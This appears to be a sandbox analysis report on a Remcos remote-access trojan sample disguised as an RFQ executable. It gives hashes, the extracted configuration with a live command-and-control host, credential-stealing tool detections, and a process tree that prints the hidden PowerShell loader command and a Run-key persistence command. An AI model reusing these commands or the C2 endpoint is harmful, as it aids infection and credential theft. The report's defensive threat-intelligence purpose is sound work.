Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12-11-2024 18:08
Static task
static1
Behavioral task
behavioral1
Sample
RFQ448903423_MAT.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
RFQ448903423_MAT.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Jumblement.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Jumblement.ps1
Resource
win10v2004-20241007-en
General
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Target
RFQ448903423_MAT.exe
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Size
738KB
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MD5
2e24786e3a50dddc9e8044942ed76557
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SHA1
fd17c905199eaa0933fb9b78b45ca0c4e87c787c
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SHA256
ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28
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SHA512
029375abc32bfd0495334a893682a31ccfeb2251b0d5c64f99cd2b6e6ce96eb10359fbf00b598279f6d5b896ee75da0f3a092f9de610be9b9c33ee23a4a040b3
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SSDEEP
12288:oyoqBI5daGf9SVr5Y91FmGe1C1scoGcZhAkFN2ZTyWy0ctqhm2V76:oyocI7aGf9mgjmPSsccAgN2ZT1HI2V76
Malware Config
Extracted
remcos
Clients
windowthankyou.duckdns.org:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-0OEGFQ
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/1948-85-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/1648-83-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4484-82-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/4484-82-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/1648-83-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
msiexec.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts msiexec.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Indefeasibility = "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\\Software\\Belindas\\').heikes;%Resections% ($Kolportage)" reg.exe -
Blocklisted process makes network request 4 IoCs
Processes:
msiexec.exeflow pid Process 20 748 msiexec.exe 23 748 msiexec.exe 24 748 msiexec.exe 27 748 msiexec.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid Process 748 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid Process 388 powershell.exe 748 msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
msiexec.exedescription pid Process procid_target PID 748 set thread context of 1648 748 msiexec.exe 104 PID 748 set thread context of 4484 748 msiexec.exe 105 PID 748 set thread context of 1948 748 msiexec.exe 106 -
Drops file in Windows directory 2 IoCs
Processes:
RFQ448903423_MAT.exedescription ioc Process File created C:\Windows\resources\afskibes.lnk RFQ448903423_MAT.exe File opened for modification C:\Windows\resources\0409\unedged\staveres.Del137 RFQ448903423_MAT.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
reg.exemsiexec.exemsiexec.exemsiexec.exeRFQ448903423_MAT.exepowershell.exemsiexec.execmd.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RFQ448903423_MAT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
powershell.exemsiexec.exemsiexec.exepid Process 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 388 powershell.exe 1648 msiexec.exe 1648 msiexec.exe 1948 msiexec.exe 1948 msiexec.exe 1648 msiexec.exe 1648 msiexec.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
powershell.exemsiexec.exepid Process 388 powershell.exe 748 msiexec.exe 748 msiexec.exe 748 msiexec.exe 748 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exemsiexec.exedescription pid Process Token: SeDebugPrivilege 388 powershell.exe Token: SeIncreaseQuotaPrivilege 388 powershell.exe Token: SeSecurityPrivilege 388 powershell.exe Token: SeTakeOwnershipPrivilege 388 powershell.exe Token: SeLoadDriverPrivilege 388 powershell.exe Token: SeSystemProfilePrivilege 388 powershell.exe Token: SeSystemtimePrivilege 388 powershell.exe Token: SeProfSingleProcessPrivilege 388 powershell.exe Token: SeIncBasePriorityPrivilege 388 powershell.exe Token: SeCreatePagefilePrivilege 388 powershell.exe Token: SeBackupPrivilege 388 powershell.exe Token: SeRestorePrivilege 388 powershell.exe Token: SeShutdownPrivilege 388 powershell.exe Token: SeDebugPrivilege 388 powershell.exe Token: SeSystemEnvironmentPrivilege 388 powershell.exe Token: SeRemoteShutdownPrivilege 388 powershell.exe Token: SeUndockPrivilege 388 powershell.exe Token: SeManageVolumePrivilege 388 powershell.exe Token: 33 388 powershell.exe Token: 34 388 powershell.exe Token: 35 388 powershell.exe Token: 36 388 powershell.exe Token: SeDebugPrivilege 1948 msiexec.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
RFQ448903423_MAT.exepowershell.exemsiexec.execmd.exedescription pid Process procid_target PID 2140 wrote to memory of 388 2140 RFQ448903423_MAT.exe 86 PID 2140 wrote to memory of 388 2140 RFQ448903423_MAT.exe 86 PID 2140 wrote to memory of 388 2140 RFQ448903423_MAT.exe 86 PID 388 wrote to memory of 748 388 powershell.exe 97 PID 388 wrote to memory of 748 388 powershell.exe 97 PID 388 wrote to memory of 748 388 powershell.exe 97 PID 388 wrote to memory of 748 388 powershell.exe 97 PID 748 wrote to memory of 4664 748 msiexec.exe 98 PID 748 wrote to memory of 4664 748 msiexec.exe 98 PID 748 wrote to memory of 4664 748 msiexec.exe 98 PID 4664 wrote to memory of 532 4664 cmd.exe 101 PID 4664 wrote to memory of 532 4664 cmd.exe 101 PID 4664 wrote to memory of 532 4664 cmd.exe 101 PID 748 wrote to memory of 1208 748 msiexec.exe 103 PID 748 wrote to memory of 1208 748 msiexec.exe 103 PID 748 wrote to memory of 1208 748 msiexec.exe 103 PID 748 wrote to memory of 1648 748 msiexec.exe 104 PID 748 wrote to memory of 1648 748 msiexec.exe 104 PID 748 wrote to memory of 1648 748 msiexec.exe 104 PID 748 wrote to memory of 1648 748 msiexec.exe 104 PID 748 wrote to memory of 4484 748 msiexec.exe 105 PID 748 wrote to memory of 4484 748 msiexec.exe 105 PID 748 wrote to memory of 4484 748 msiexec.exe 105 PID 748 wrote to memory of 4484 748 msiexec.exe 105 PID 748 wrote to memory of 1948 748 msiexec.exe 106 PID 748 wrote to memory of 1948 748 msiexec.exe 106 PID 748 wrote to memory of 1948 748 msiexec.exe 106 PID 748 wrote to memory of 1948 748 msiexec.exe 106
Processes
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C:\Users\Admin\AppData\Local\Temp\RFQ448903423_MAT.exe"C:\Users\Admin\AppData\Local\Temp\RFQ448903423_MAT.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Driftschef=Get-Content -raw 'C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Jumblement.Kar';$q=$Driftschef.SubString(51945,3);.$q($Driftschef)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:532
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mitggpcrzuhl"4⤵PID:1208
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mitggpcrzuhl"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1648
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xdgzzhnlmczqqeae"4⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4484
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zfmrazxnakrvsswiwqu"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD517eece3240d08aa4811cf1007cfe2585
SHA16c10329f61455d1c96e041b6f89ee6260af3bd0f
SHA2567cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903
SHA512a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370
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Filesize
302KB
MD5c8f1f656c0732cc614e4a40e8468e650
SHA108eab64c64cb602cd97f5c5db84c01024a3e1f9f
SHA256ec76dcd52b9a58f6c0dd721f8ffe4de3351cdad95ba68d4b6d0b836fa2ac9c36
SHA512653302a74ae261787a9a8ad836d6005b5f10c99a7bb10c2e9683ccc7945254c8e5a38d3730ae28eeaa11c5dd25ceec932514bd23c6a4ce71c69f76f79b27db0d
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Filesize
50KB
MD55f22e57b55aa6e31d0606fa12e0ee584
SHA1e83cf829d2d46ce8a16f117a437a32ad63c1173d
SHA2560fd8188279b05a111878389f3fe41f48f28d27249560005ae6977b0e8fb137b2
SHA5127c9ed6698e7e593597c92169c5ea97447b786439c09f33e26877852fae74dbdd8082c463baa3f5fefea9b3bb05014999389ec8f306e055ed5c99338fe0335900